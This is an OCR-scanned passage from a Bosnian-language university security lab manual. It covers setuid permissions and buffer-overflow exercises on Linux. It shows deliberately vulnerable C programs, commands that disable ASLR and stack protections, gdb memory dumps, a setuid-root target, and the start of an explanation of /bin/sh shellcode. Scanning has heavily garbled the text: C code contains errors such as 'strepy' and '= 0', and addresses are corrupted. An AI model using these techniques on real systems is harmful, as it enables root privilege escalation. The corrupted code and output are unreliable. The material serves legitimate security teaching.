ukazuje da je postavljen steuid bit.

chmod 700 /home/user2//Datoteka

1s -1 /home/user?2

total 12

—TWX-———--— 1 user2 users O Nov 5 10:54 Datoteka
-rwxr-xr-— 1 userl users O Nov 10 08:21 Datoteka2.txt
-rw-r—-r—— 1 user2 users 8980 0Okt 4 2013 examples.desktop

Datoteku Datoteka moze mijenjati samo vlasnik. Datum njene posljednje
izmjene je 5. novembar.

su userl

Moze li korisnik userl mijenjati datoteku Datoteka na lokaciji /home/user2?
touch /home/user2/Datoteka

Operativni sistem se nije zalio.

1s -1 /home/user2/Datoteka

“rwx—-——-—---— 1 user2 users O Nov 10 08:33 Datoteka

Datoteka je promijenila datum posljednje izmjene na trenutak pokretanja
komande touch (to je inaCe njena namjena za postojete datoteke). Iako je
komandu pokrenuo korisnik userl, koji nema nikakva prava na toj datoteci
mogao je promijeniti ovaj atribut. Razlog za to je sada postavljeni setuid bit
ces se izvrSavao sa pravim njenog vlasnika root i bilo je mogucée da promjeni
atribute datoteke za koju onaj koji je pokrenuo komandu (userl) nema ni-
kakva prava.

exit
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Sada je ukinut setuid bit (postavljen na nula) za datoteku touch.

chmod 0755 /bin/touch

su userl

touch /home/user2/Datoteka

touch: cannot touch ‘/home/user2/Datoteka’: Permission denied
Sada korisnik userl opet ne moze mijenjati nista na datoteci komandom to-
uch jer se sad ona izvrsava sa njegovim pravima (ne vise kao root).

4.2.6 Uklanjanje napravljenih izmjena

Na kraju vjezbe neophodno je datotecni sistem vratiti u zateceno stanje radi na-
redne grupe.
Koraci da se ovo ostvari su (kao root):

umask 0022

chmod 0755 /bin/touch
userdel userl

userdel user?2

rm -rf /home/useril

rm -rf /home/user2

rm -rf /test
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VJEZBA: Primjeri preljeva meduspremnika
(buffer overflow)

Cilj ove vjezbe je upoznavanje studenata sa nekim situacijama u kojim moze
do¢i do preljeva meduspremnika. Pored toga cilj je i pokazivanje na koji nacin je
moguce iskoristiti preljev meduspremnika, te predstavljanje posljedica koje moze
izazvati ovakav napad. Uvodni ¢lanak za za ovo oblast je jos iz 1996, ali vrijedan
¢itanja [38]. Primjeri su zasnovani na primjerima iz knjige [13] posveéene ovoj
problematici u kojoj se mogu naéi josS mnogi primjeri i detaljnija objasnjenja.
Neki od primjera su azurirani na osnovu [45] §to je jo§ novija knjiga koja pokriva
Sire podrugje sigurnosti, ali je vrlo korisna radi njene savremenosti i prakti¢nosti.

5.1 Jednostavni slucaj

Potrebno je analizirati jednostavni program koji od korisnika trazi da unese lo-
zinku i na osnovu ispravnosti unesene lozinke ispisuje da li je pristup odobren
ili nije. Nakon analize programa potrebno je predloziti kako i pokusati zaobiéi
provjeru i dobiti poruku da je pristup odobren bez unoSenja ispravne lozinke.

(Ideja: U lokalnu varijablu programa za pohranjivanje lozinke upisati vise
podataka nego Sto moze stati unosom predugacke lozinke. Ako je ova lozinka od-
govarajuée duzine cilj ¢e biti ostvaren.)

Rjesenje:
Primjeri su prikazani na Linux Ubuntu 16.04 64 bitna verzija. Posto je analiza
zasnovana na 32-bitnim programima neophodno je omoguéiti pravljenje 32-bitnih
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programa na 64-bitnom OS.!.

Za ovo je potrebno instalirati odgovaraju¢u biblioteku, kao korisnik sa sudo
ovlastenjima, u dosadasnjim primjerima to je bio korisnik ”studentad”, slijede¢om
komandom, sa komandne linije:

$ sudo apt-get install gcc-multilib

Prije isprobavanja napada uklonjena je zaStita operativnog sistema koja bi
onemogucila napade. Ovo je uradeno da bi se lakse pokazao princip na kom je
zasnovan napad. Na kraju ¢e biti pokazano kako zastita funkcionise i prodiskuto-
vani moguéi nac¢ini njenog zaobilaska. Ova zaStita je randomizacija stack adresne
lokacije. Da bi se iskljucila potrebno je postati root korisnik sa;
$ sudo su
# echo "0" > /proc/sys/kernel/randomize_va_space
# exit (povratak na korisnika studentad)

U nastavku je prikazan kod programa ranjiv.c koji treba pregledati i anali-
zirati:
/* PROGRAM ranjiv.c */
#include <stdio.h>

#include <stdlib .h>
#include <string.h>

int provjeri_lozinku (char xlozinka) {
int odobren_flag = 0;

char loz_spremnik [8];

strepy (loz_spremnik , lozinka);

if (strecmp (loz_spremnik ;, "tajna”) = 0)
odobren_flag = 1;
if (strcmp (loz_spremnik , "1ab232”) = 0)

odobren_flag = 1;

return odobren_flag;

! Analiza bi bila moguéa i na 64-bitnim programima, tako da je izbor 32-bitnih vise
stvar naslijedenih primjera i objasnjenja nego principijelne razlike. Izbor 32-bitnog
ili 64-bitnog programa ne mijenja nista od prikazanih postupaka. razlicite bi bile
memorijske adrese i neke od varijabli i veli¢ina
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}

int main(int argec, char xargv[]) {
if (arge < 2) {
printf (” Upotreba: %s <lozinka>\n",
argv [0]);
exit (0);

if (provjeri_lozinku (argv|[1])) {
printf (”\ o+ ++++++++++Hn”);
printf(” Pristup odobren.\n”);
print f("-+H4+-+—H+HHH++++++\n");

} oelse {

printf(”\n \n”);
printf(” Pristup zabranjen.\n”);
printf(’ \n”);

Program ocekuje i prihvata jedan parametar, lozinku. Unesenu lozinku pro-
gram prosljeduje funkciji provjeri_lozinku. Funkcija ima dvije varijable odobren_flag
koja je inicijalizirana na vrijednost 0 i loz_spremnik koja je veli¢ine osam zna-
kova. Nakon kopiranja ulazne varijable lozinka u lokalnu loz_spremnik vrijed-
nost u loz_spremnik poredi se sa ispravnim lozinkama, "tajna” i ”1ab232”. Ako
je identi¢na jednoj od njih vrijednost odobren_flag postaje 1. Funkcija vraca
odobren_flag. U glavnom programu se na osnovu povratne vrijednosti ispisuje
odgovarajuca poruka: ”Pristup odobren.” za vrac¢enu vrijednost 1, te ”Pristup
zabranjen,” za vracenu vrijednost 0.

Program je kompajliran i linkovan kao 32 bitni (-m32) tako da generise debug
informacije potrebne za GDB debugger (-g). Pored toga iskljucene su podrazu-
mijevane zaStite od buffer overflow kao $to je zastita od prepisivanja stack (-
fno-stack-protector) i neizvrsivost podataka na stack kao komandi (-z execstack).
Izvrsna verzija programa zvace se ranjiv (-o ranjiv). Komanda kojom se ovo
postize je:
$ gcc -m32 -g -fno-stack-protector -z execstack -o ranjiv ranjiv.c

Nakon ovoga je moguée pokrenuti program sa komandne linije:
$ ./ranjiv
Upotreba: ./ranjiv <lozinka>
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Program informise da ocekuje parametar - lozinku. Nakon toga program je
pokrenut sa viSe razli¢itih unosa za lozinku:

./ranjiv nesto

Pogresna lozinka.

./ranjiv lab232
b
Pristup odobren.
bbbt
Ispravna lozinka.

./ranjiv 123456789
I
Pristup odobren.
R e S S

Pogresna lozinka, ali je poruka kao da je ispravna. Zasto?

Rad programa analiziran je upotrebom gdb debugger-a. Opcija -q je da bude
"tih” (quiet), ne ispisuje uvodne poruke.
$ gdb -q ./ranjiv
Reading symbols from ./ranjiv...done.
(gdb) list 1,34
1 #include <stdio.h>

9 strcpy(loz_spremnik, lozinka);
10
11 if(strcmp(loz_spremnik, "tajna") == 0)

16 return odobren_flag;

34

(gdb) break 9

Breakpoint 1 at 0x80484ea: file ranjiv.c, line 9.
(gdb) break 11

Breakpoint 2 at 0x80484fc: file ranjiv.c, line 11.
(gdb) break 16
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Breakpoint 3 at 0x8048538: file ranjiv.c, line 16.

Izlistan je kod programa (list) i podeSeno je da se izvrSavanje zaustavi
(break) na linijama 9 (prije kopiranja u varijablu loz_spremni), 11 (nakon ko-
piranja u varijablu loz_spremni) i 16 (prije povratka u glavnu funkciju).

(gdb) run DDDDDDDD

Program je pokrenut sa parametrom "DDDDDDDD” (osam puta slovo D). ?D”
je izabrano jer mu je heksadecimalni kod 44 pa ga je lakSe na¢i na memorijskoj
lokaciji kako ¢e biti pokazano.

Nakon §to se debugger zaustavio na devetoj liniji ispisane su vrijednosti vari-
jabli:
(gdb) x/s loz_spremnik
Oxffffcfbd: "/"
(gdb) x/x &odobren_flag
Oxffffcfbc: 0x00
Prva varijabla je ispisana kao string, a druga kao heksadecimalna. U ovom tre-
nutku u loz_spremnik nije upisana vrijednost, a odobren_flag je inicijalizirana
na 0. Prije ispisa varijabli debugger je ispisao i adrese na kojim se nalaze. Nakon
toga ispisan je sadrzaj memorijskih lokacija na kojima se nalaze ove varijable:
(gdb) x/16xw loz_spremnik
Oxffffcfb4: 0x0000002f 0x0804a000 0x00000000 0x00000002
Oxffffcfcd: Oxffffd084 Oxffffcfe8 0x0804857d Oxfff£fd290
Oxffffcfd4: 0xf7f£d000 0x080485db 0xf7fba000 0x080485d0
Oxffffcfed4: 0x00000000 0x00000000 0xf7e29a83 0x00000002

Ispisano je 16 rijeci (od po Cetiri bajta) u heksadecimalnom obliku od lokacije
na kojoj se nalazi loz_spremnik. Prve dvije rijec¢i, osam bajta, su loz_spremnik
(podvuceno), a treéa rije¢ je odobren_flag (podebljano).

Sa komandom cont izvrSavanje programa se nastavlja, sadrzaj varijable
lozinka se kopira u varijablu loz_spremnik i zaustavlja se nakon toga:
(gdb) cont
Continuing.

Breakpoint 2, provjeri_lozinku (lozinka=0xffffd290 "DDDDDDDD") at ranjiv.c:11
11 if (strcmp(loz_spremnik, "tajna") == 0)

Ponovo se ispisuju vrijednosti varijabli i sadrzaj memorijskih lokacija na kojima
se nalaze ove varijable:
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(gdb) x/s loz_spremnik

Oxffffcfb4: "DDDDDDDD"

(gdb) x/x &odobren_flag

Oxffffcfbc: 0x00

(gdb) x/16xw loz_spremnik

Oxffffcfbd: 0x44444444 0x44444444 0x00000000 0x00000002
Oxffffcfcd: Oxfff£fd084 Oxffffcfe8 0x0804857d Oxfff£fd290

Oxffffcfd4: 0xf7f£d000 0x080485db 0xf7fba000 0x080485d0

Oxffffcfe4: 0x00000000 0x00000000 0xf7e29a83 0x00000002

Sada se u prve dvije rijeci, osam bajta, nalaze heksadecimalne vrijednosti 44 upi-
sane u loz_spremnik (podvuceno), a dok su trecoj rijeci i dalje sve 0 upisane u
odobren_flag (podebljano).

Sa komandom cont izvrSavanje programa se nastavlja i zaustavlja se prije
povratka u glavni program. Tada se jo§ jednom ispisuje vrijednost varijable
odobren_flag:

(gdb) cont
Continuing.

Breakpoint 3, provjeri_lozinku (lozinka=0xffffd290 "DDDDDDDD") at ranjiv.c:16
16 return odobren_flag;
(gdb) x/x &odobren flag
Oxffffcfbc: 0x00000000

I dalje je vrijednost varijable odobren_flag jednak O, pa se nakon nastavka
programa ispisuje poruka da je pristup zabranjen i program zavrSava:
(gdb) ¢
Continuing.

Sada se program ponovo pokreée sa parametrom "DDDDDDDDD” (devet
puta slovo D), sli¢no kao u sluc¢aju kad je pokrenut sa ”123456789”, devet zna-
kova. Nakon §to se zaustavi prvi put, izvrSavanje se nastavlja. Kad se slijedeci
put zaustavi, nakon kopiranja ”’DDDDDDDDD” u varijablu loz_spremnik ispi-
suju se vrijednosti vrijednosti varijabli i sadrzaj memorijskih lokacija na kojima
se nalaze ove varijable:

(gdb) run DDDDDDDDD
Starting program: /home/studentad/B0O/ranjiv DDDDDDDDD
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Breakpoint 1, provjeri_lozinku (lozinka=0xffffd28f "DDDDDDDDD") at ranjiv.c:9
9 strcpy(loz_spremnik, lozinka);

(gdb) ¢

Continuing.

Breakpoint 2, provjeri_lozinku (lozinka=0xffffd28f "DDDDDDDDD") at ranjiv.c:11
11 if (strcmp(loz_spremnik, "tajna") == 0)

(gdb) x/s loz_spremnik

Oxffffcfb4: "DDDDDDDDD"

(gdb) x/x &odobren_flag

Oxffffcfbc: 0Ox44

(gdb) x/16xw loz_spremnik

Oxffffcfbd: 0x44444444 0x44444444 0x00000044 0x00000002
Oxffffcfcd: Oxffffd084 Oxffffcfe8 0x0804857d Oxffffd28f
Oxffffcfd4: Oxf7££d000 0x080485db Oxf7fba000 0x080485d0
Oxffffcfe4: 0x00000000 0x00000000 0xf7e29a83 0x00000002

Vrijednost varijable loz_spremnik je ”’DDDDDDDDD” (osam "D”), dok je
heksadecimalna vrijednost varijable odobren_flag 44. Kako je ova vrijednost upi-
sana u ovu varijablu?

Kada je na memorijsku lokaciju na kojoj se nalazi varijabla loz_spremnik
upisano 9 puta 44 heksadecimalno, deveti bajt upisan je na lokaciju na kojoj se
nalazi varijabla odobren_flag. Time je vrijednost varijable izmijenjena sa inici-
jalizirane 0 na nesto drugo. Vise detalja o rasporedu varijabli u memoriji bice
receno tokom objasnjavanja slijedeceg zadatka.

Kada se nastavi izvrsavanje programa, posto vrijednost varijable odobren_flag
viSe nije nula bice ispisana poruka da je pristup odobren. (gdb) c
Continuing.

Breakpoint 3, provjeri_lozinku (lozinka=0xffffd28f "DDDDDDDDD") at ranjiv.c:16
16 return odobren_flag;

(gdb) c

Continuing.

L T I

Pristup odobren.
s s o S S
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(gdb) quit

5.2 Mijenjanje toka programa i izvrSavanje komande po
zelji napadaca

Potrebno je analizirati nesto slozeniji program koji omogucava korisniku da unese
poruku koja se opisuje u datoteku /var/poruke zajedno sa ID korisnika koji je
upisao poruku. Program moze da koristi viSe korisnika i upisuje u datoteku koja
se nalazi na lokaciji za koju su potrebne root privilegije. Iz ovog razloga nakon
kompilacije je kao vlasnik izvrSne verzije programa postavljen root i program je
podesen da se izvrSava sa pravima vlasnika, a ne onoga ko ga je pokrenuo (setuid
= 1). Ovo je bitno jer ¢e se bilo kakve komande koje se izvrse zloupotrebom ovog
programa izvrSavati sa root privilegijama.

Rjesenje:

Prije prelaska na konkretan napad kratko ¢e biti objasnjeno kako do njega
moze doci. Napad iskoriStava nacin na koji programi smjestaju podatke na stack
prilikom pozivanja funkcija (procedura). Tokom izvrSavanja programa instruk-
cije se izvrsavaju redom kako su pohranjene u memoriji. Kada program koji se
izvrSava poziva neku funkciju dolazi do skoka, izvrsavanja ne slijedece instrukcije
ve¢ prve instrukcije funkcije sa adrese na kojoj se ta instrukcija nalazi. Tom pri-
likom je potrebno zapamtiti koja je slijedeca instrukcija u programu koja treba
da se izvrsi kad se zavrsi izvrSavanje funkcije. Za ovo se koristi stack. Podaci na
stack se stavljaju i sa njega uzimaju po principu da se uvijek prvo uzima po-
datak koji je posljednji stavljen na stack (LIFO - Last In First Out). Prilikom
pozivanja funkcija na stack se stavljaju prvo argumenti poziva funkcija, zatim
adresa slijedece instrukcije u programu koja treba da se izvrsi nakon povratka
iz funkcije (Return pointer), nakon toga pokaziva¢ na okvir (Frame pointer) na
osnovu kog sistem pokazuje na razlicite elemente samog stack, i na kraju se stav-
ljaju lokalne varijable pozvane funkcije. Po zavrsetku izvrsavanja funkcije lokalne
varijable se skidaju sa stack, zatim se skida pokaziva¢ na okvir i nakon toga se
dolazi do sac¢uvane adrese slijedece instrukcije iz programa koji je pozvao funkciju
koja treba da se izvrsi (Return pointer) ¢ime se izvrSavanje programa nastavlja.
Izgled stack memorije dat je na slici 5.1.

Ovo je prikaz normalnih dogadaja prilikom poziva funkcije. Medutim, ako se u
neku lokalnu varijablu funkcije upise vise podataka nego sto moze stati prepisace
se memorijski prostor koji se nalazi iza te varijable. Posto stack obi¢no ,raste
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Lokalna warijabla 3

Lokalna warijabla 2

Lolkalna varijabla 1

Served frame pointer

Feturm poister

Aroutmenti poziva
funlkecije

Slika 5.1: Izgled stack memorije

prema gore“ (podaci se dodaju na manju/nizu memorijsku adresu), upisivanje
viSe podataka od veli¢ine lokalne varijable funkcije moze dovesti do prepisivanja
dijela memorije na kom je upisana adresa na koju treba da se vrati izvrSavanje
programa nakon zavrSetka funkcije. Ako napadaé¢ uspije da u lokalnu varijablu
upise niz vrijednosti kojima ¢e povratnu adresu prepisati adresom koju zeli, onda
ima moguénost da preuzme kontrolu nad tokom programa. Posto napadac, poda-
cima koje Salje, popunjava memorijske lokacije od pocetka varijable koju upisuje
pa do povratne adrese koju prepisuje, medu te podatke on moze staviti i instruk-
cije koje zeli da se izvrse, a zatim povratnu adresu prepisati adresom na kojoj se
nalazi prva od ovih instrukcija.

Potrebno je napomenuti da napada¢ ne zna tacnu adresu u memoriji koju
prepisuje, odnosno ne zna na kojoj tac¢no adresi se nalaze njegove instrukcije koje
je poslao, pa ne moze sa sigurno$¢u znati kojom adresom da prepiSe povratnu
adresu. Medutim, na osnovu arhitekture i operativnog sistema moguce je otprilike
znati adrese koje koristi stack. Ovu ¢injenicu napadaci koriste da prije instrukcija
za koje zele da se izvrSe dodaju niz instrukcija koje ne rade nista (NOP) ve¢ se
samo izvrSavaju jedna za drugom (bez promjena i¢ega na sistemu) dok se ne
dode do prve instrukcije napadackog koda. U ovom slucaju napada¢ samo treba
da prepise povratnu adresu adresom bilo koje od ovih instrukcija i njihov niz
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¢e samo skliznuti do prve instrukcije napadackog koda (od tuda naziv za ovaj
niz instrukcija koje ne rade nista - NOP sled). Izgled stack memorije prilikom
zlonamjernog iskoristavanja preljeva meduspremnika prikazan je na slici 5.2.

 Sadriaj lokalne - |
varijable je prepunjen
Miz NOP
Madinsk lkod
napadatlih instrukcya
Sadrfa ove lokacije je i
- Saved frame painter
Sadrfa ove lokacije & B

prepizan adresom na stack-u

Argumenti pozva

Fankije

Slika 5.2: Izgled stack memorije prilikom zlonamjernog iskoristavanja preljeva
meduspremnika

U nastavku je prikazan kod programa poruke.c koji treba pregledati i anali-
zirati:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <unistd.h>
#include <sys/types.h>

int main(int arge, char xargv|[]) {
int userid, fd;
char poruka[100], datoteka[50];
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strepy (datoteka , ”/var/poruke”);
if (arge < 2) // ako nema argumenata

printf (” Upotreba: %s <podaci za upis u %s>\n",
argv [0] ,datoteka);
exit (0);

}

strepy (poruka, argv([1l]);

// Otvori datoteku
fd = open(datoteka, OWRONLY|O_-CREAT|O_APPEND,
SIRUSR|SIWUSR );

printf(” Greska u otvaranju datoteke %s\n”,
datoteka );
exit (—1);

}

// utvrdi ID korisnika koji je pokrenuo program
userid = getuid ();

// Upisi poruku sa korisnickim ID
if (write(fd, &userid, 4) = —1) // prvo ID
{
printf(” Greska u pisanju UID %d u datoteku %s\n”,
userid , datoteka);
exit (—1);
}

write(fd, "\n”, 1); // predji u novi red
if (write(fd, poruka, strlen(poruka)) = —1) // poruka

printf(” Greska pisanja poruke %s u datoteku %s\n”,
poruka, datoteka);
exit (—1);
}

write(fd, "\n”, 1); // kraj reda
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// Zatvori datoteku
if (close(fd) = -1)

printf(” Greska u zatvaranju datoteke %s\n”,
datoteka );
exit (—1);

}

printf(” Poruka je sacuvana.\n”);

Program ocekuje i prihvata jedan parametar, poruku. Program ima ¢etiri lo-
kalne varijable dvije cjelobrojne userid i fd i dva niza znakova poruka[100]
i datoteka[50]. Datoteke se deklarisu, i smjeStaju na stack, redom kako su
navedene. Ulazni parametar se kopira u lokalnu varijablu poruka. Ovo kopi-
ranje se radi bez provjere veli¢ine ulaznog parametra. To znac¢i da je upisom
pogodnog niza bajta u ulazni parametar moguce uraditi opisani napad preljevom
meduspremnika.

Program je kompajliran i linkovan na slican nac¢in kao i prethodni, s tim $to
je dodata i opcija preferred-stack-boundary=2 kojom se osigurava da se stack
poravnava na 4 (2x2) bajta, §to olaksava izvodenje napada koji se pokazuje. Kom-
pletna komanda (u jednoj liniji) glasi:
$ gcc -m32 -mpreferred-stack-boundary=2 -g -fno-stack-protector
-z execstack -o poruke poruke.c

Posto program pise u datoteku na lokaciji /var/ potrebno ja da ima root
privilegije, pa je vlasnik programa promijenjen na root.
$ sudo chown root:root poruke

Da bi svi korisnici mogli koristiti ovaj program potrebno je da se on izvrsava sa
pravima njegovog vlasnika (kreatora), root. To se postiZe postavljanjem setuid
zastavice na jedan, kako je obja$njeno na proslim vjezbama.
$ sudo chmod +s poruke

Sada se program moze pokrenuti i upisati poruka u datoteku:
$ ./poruke "Od studentad"

Sadrzaj datoteke sa porukama moze se dobiti sa:
$ sudo more /var/poruke
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Pokretanjem programa u debuggeru moguce je analizirati lokacije i sadrzaj
varijabli kao i izgled stack-a.
$ sudo gdb -q ./poruke
Reading symbols from ./poruke...done.

Podeseno je da se program zaustavi odmah po pokretanju:
(gdb) break main
Breakpoint 1 at 0x8048594: file poruke.c, line 15.

Program je pokrenut sa parametrom, porukom, koji se sastoji od 10 znakova
” D” .
(gdb) run DDDDDDDDDD
Starting program: /home/studentad/B0/poruke DDDDDDDDDD

Breakpoint 1, main (argc=2, argv=0xffffd624) at poruke.c:15
15 strcpy(datoteka, "/var/poruke");

Sada su ispisane lokalne varijable sa svojim adresama i vrijednostima:
(gdb) x/x &userid
Oxff££d580: 0xf7£fb4000
(gdb) x/x &fd
Oxff££fd584: 0xf7fb4000
(gdb) x/x poruka
Oxffffdblc: 0x080482e7
(gdb) x/x datoteka
Oxffffd4ea: OxbOfff7ff

Ako se analiziraju adrese varijabli moZze se primijetiti da se na najmanjoj
adresi (0xffffd4ea) nalazi varijabla datoteka. Na 50 bajta vecoj adresi (0xffffd51c)
nalazi se varijabla poruka. Varijabla fd nalazi se na adresi (0xffffd584), za 104
bajta vecoj od adrese varijable poruka. Cetvrta varijabla userid je na adresi
(0xfIffd580) za cetiri bajta veéoj od varijable £d.

Ispisom stanja registara moguce je saznati jos ponesto o stack adresama:

(gdb) i r

eax 0xf7fbbdbc -134521412

ecx 0Oxca20056f -903871121

edx Oxffffdbb4 -10828

ebx 0x0 O

esp Oxffffd4e8 Oxffffd4e8

ebp Oxffffd588 Oxffffd588
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esi Oxf7fb4000 -134529024
edi Oxf7fb4000 -134529024
eip 0x8048594 0x8048594 <main+9>
eflags 0x286 [ PF SF IF ]

0x23 35
0x2b 43
0x2b 43
0x2b 43
0x0 O

0x63 99

cs
ss
ds
es
fs

gs

Registar ESP pokazuje na vrh, a EBP na dno stack-a. 1z njihove razlike

moguce je utvrditi veli¢inu stack-a.

(gdb) print $ebp - $esp

$1 = 160

Sadrzaj memorije na stack-u moze se vidjeti ispisom 50 (4-bajtnih) rije¢i od

vrha stack-a:

(gdb) x/50wx $esp

Oxffffd4e8:
Oxffffd4£8:
Oxff££d508:
Oxffffd518:
Oxff££d528:
Oxfff£d538:
Oxffff£d548:
Oxffffd558:
Oxffffd568:
Oxff££d578:
Oxfff£d588:
Oxff££d598:
Oxffffdba8:

0xf7££fd918
0x000000c2
0x000000e0
0xfff£fd530
0x£7£b4000
0xf7e10dc8
0xf7fb2244
0xf7e32830
0xfff£fd630
0x08048719
0x00000000
Oxfff£d630
0x£7£b4000

0x00£0b0ff
0xf7e9376b
0x00000000
0x080482e7
0x00009047
0xf7£b8000
0xf7elcOec
0x0804875b
0x08048731
0x00000000
0xf7el1c637
0x00000000
O0xf7£ffdc04

Oxffffd52e
Oxffffd52e
O0x£7££d4000
0x00000000
Oxffffffff
0x00008000
0x00000002
0x00000002
O0xf7£fb43dc
0x£7£b4000
0x00000002
0x00000000
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0x00000001
Oxf£f££d630
O0xf7££d918
Oxffffdbc4
0x0000002f
0xf7£b4000
0x00000000
Oxffffd624
0x0804825¢
0x£7£b4000
Oxffffd624
0x00000000

Radi lakse lokacije varijabli u memoriji nastavljeno je izvrSavanje programa
dok nisu upisane vrijednosti u sve lokalne varijable (userid, fd, poruka, datoteka).
Nakon prolaska kroz Sest komandi (next u debugger-u) izvrsavanje se zaustavilo
na liniji 36:

36 if (write(fd, &userid, 4 -1) // upisi korisnicki ID prije
Ponovo je prikazan sadrzaj memorije na stack-u ispisom 50 (4-bajtnih) rijeci od
vrha stack-a:

(gdb) x/50wx $esp
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Oxffffd4e8:
Oxffffd4£8:
Oxfff£fd508:
Oxff££d518:
Oxf£££d528:
Oxffffd538:
Oxfff£d548:
Oxffffd558:
Oxff££d568:
Oxf£££d578:
Oxffffd588:
Oxffffd598:
Oxffffdba8:

0x762£d918
0x000000c2
0x000000e0
Oxf£££d530
0xf7£b4000
0xf7e10dc8
0xf7£fb2244
0x£7e32830
Oxf£££d630
0x08048719
0x00000000
0xf£f££d630
0xf7£b4000

0x702£7261
0xf7e9376b
0x00000000

0x44444444

0x0000904d7
0xf7£b8000
Oxf7elcOec
0x0804875b
0x08048731

0x00000000

0xf7el1c637
0x00000000
O0xf7ffdc04

0x6b75726f
Oxffffdb52e
0xf7££d4000
0x44444444
Oxffffffff
0x00008000
0x00000002
0x00000002
0xf7£fb43dc
0x00000000
0x00000002
0x00000000

0x00000065
Oxfff£fd630
0xf7£f£fd918
0xf£004444
0x0000002f
0xf7£b4000
0x00000000
Oxffffd624
0x0804825c¢

0x00000003

Oxffffd624
0x00000000

125

Na ispisu su podvuceni poceci lokacija varijabli datoteka i poruka, te kom-
pletne varijable £d i userid.

Nastavljeno je izvrSsavanje programa i prekinuto debug-iranje.

(gdb) cont
Continuing.

Poruka je sacuvana.

(gdb) quit

Da bi se omogudilo generisanje potrebnog broja znakova moze se iskoristiti
perl na slijede¢i nacin:
$ perl -e ’print "D" x 20’
DDDDDDDDDDDDDDDDDDDD
Rezultat je 20 znakova "D”.

Ovo se moze iskoristiti da se sada program pozove sa Zeljenim brojem izabra-
nih znakova i vidi Sta se desava.
$ ./poruke $(perl -e ’print "D" x 1107)
Poruka je sacuvana.
Uredan zavrsetak programa.

$ ./poruke $(perl -e ’print "D" x 150’)
Poruka je sacuvana.
Segmentation fault (core dumped)
Program nije uredno zavrsio jer je prepisana povratna adresa.
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Posto se pokazalo da program nije zaSti¢en od prepisivanja povratne adrese
znaci da bi trebalo biti moguée pogodnim unosom izvrsiti komandu po zelji na-
padaca.

Ovaj napad ¢e se pokusati kao neprivilegovani korisnik ”studentad” da bi
se pokazalo kako ovakav korisnik moze dobiti root privilegije ako iskoristi pre-

ljev meduspremnika u programu ¢iji je vlasnik root i koji ima postavljen setuid.

Prije nastavka instaliran je alat nasm koji je potreban za pretvaranje asem-
blerskog koda u masinski. Proces ¢e biti kasnije objasnjen.
$ sudo apt-get install nasm

Da bi se pogodnim unosom izvrsio kod po zZelji napadaca potrebno je da se taj
kod nalazi negdje unutra niza bajta koji se prosljeduju programu i da se povratna
adresa prepiSe adresom na kojoj se taj kod nalazi.

Prvo ¢ée se pokazati jedno moguce rjesenje prvog pitanja: pravljenja koda koji
¢e se izvrsiti. Ovaj kod moze obavljati razlicite funkcije. Najcesée je to izvrsavanje
neke sistemske komande. Glavni razlog za ovo je ograni¢en prostor za kod. U zavis-
nosti od veli¢ine stack-a, broja i veli¢ine varijabli, koji se prepisuje veli¢ina koda
uglavnom treba biti desetine do stotine bajta. To naravno mora biti masinski
kod za arhitekturu na kojoj se napad izvrsava. U toliki prostor se tesko moze
ubaciti kompleksna funkcionalnost. Sistemske komande koje se pozivaju mogu
biti jednokratne poput brisanja ili dodavanja datoteka ili korisnika ili trajnije
poput pokretanja mreznog servisa. Najcesce se u ove svrhe koristi poziv shell-u,
tekstualnom interfejsu sa operativnim sistemom, ¢ime se dobiva pristup svim ko-
mandama. Kod koji pokrece shell prigodno se naziva shellcode.

Ovdje se kao zeljena komanda koristi komanda /bin/sh koja na Unix-oidnim
sistemima ima pomenutu funkciju. Iako se na Internetu mogu naéi pripremljeni
heksadecimalni nizovi koji mogu predstavljati zeljeni shellcode, ovdje je radi kom-
pletnosti prikazan jedan nacin na koji se moze napraviti takav niz instrukcija.
Dodatne informacije o razli¢itim shellcode-ovima i drugim mogué¢im kodovima za
buffer overflow, kao i o tome kako se mogu napraviti, moze se naéi u [13] i [45].

Kod Linux sistema interrupt 0x80 sluzi da posalje poruku kernelu da napravi
sistemski poziv. U registrima se nalaze informacije koji sistemski poziv i sa ko-
jim parametrima treba da izvrsi. U registru EAX se treba nalaziti informacija
o tome koji sistemski poziv treba izvrsiti. Sistemski pozivi su definisani cijelim
brojevima. Veza izmedu poziva i brojeva na Linux sistemima data je u datoteci
/usr/include/asm-i386/unistd.h. U registrima EBX, ECX i EDX treba da se
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nalaze prvi, drugi i treé¢i parametar za izabrani sistemski poziv.

Da bi se izvrsio poziv komande /bin/sh potrebno je izvrsiti sistemski poziv
execve koji sluzi za izvrSavanje programa i ¢iji broj je 11. Prema tome u registar
EAX treba upisati 11 prije poziva interrupt-a. Prema definiciji sistemskog poziva

execve

{int execve(const char xfilename, char xconst argv(],
char sconst envp([]);}

prvi parametar je pokaziva¢ na niz znakova koji predstavljaju datoteku u ko-
joj se nalazi komanda koja treba da se izvrsi. U ovom sluc¢aju to je niz znakova
/bin/sh. Drugi parametar je niz argumenata koji se prosljeduju novom programu,
pri ¢emu prvi argument treba da bude ime datoteke koje je navedeno kao prvi
parametar. U ovom slu¢aju to je i jedini argument. Treéi parametar je niz parova
”veli¢ina=vrijednost” koji predstavljaju okolisne varijable proslijedene programu.
U ovom slucaju to je prazan string. Iz ovoga slijedi da je za zeljeno izvrsavanje
komande potrebno u registar EBX upisati pokazivaé na string ” /bin/sh”, u regis-
tar ECX isti pokazivaé, a u registar EDX nulu kao oznaku praznog stringa. Bilo
bi relativno jednostavno napisati asemblerski kod koji u navedene registre puni
potrebne vrijednosti i poziva interrupt 0x80, ali taj kod ne bi mogao biti koristen
kao shellcode. Za to postoje dva razloga.

Prvi je da shellcode nije poseban program veé se izvrSava unutar drugog pro-
grama u nepoznatom okruzenju i na nepoznatoj memorijskoj lokaciji. 1z ovog
razloga nije moguce deklarisati varijablu i znati njenu adresu koju treba upisati
u registar.

Drugi razlog je sto u shellcode ne smije biti bajta sa vrijednoséu nula jer ée
takvi bajti biti uklonjeni iz niza znakova koji se prosljeduje programu koji se
napada.

Rjesenje prvog problema je u koristenju komandi za postavljanje na i skidanje
sa stack (push i pop). Ako se na stack upise vrijednost (heksadecimalni niz) onda
se adresa te vrijednosti nalazi u registru koji pokazuje na vrh stack ESP. Na taj
nacin se moze dobiti vrijednost pokazivaca na zeljenu vrijednost (u ovom sluéaju
” /bin/sh”) koja se moze upisati u registar u koji je potrebno (u ovom slucaju
EBX i ECX).

Rjesenje drugog problema je da se nadu nac¢ini da se u registar upise nula na
drugi na¢in od upisivanja konstante nule koja bi bila zapisana nultim bajtima.
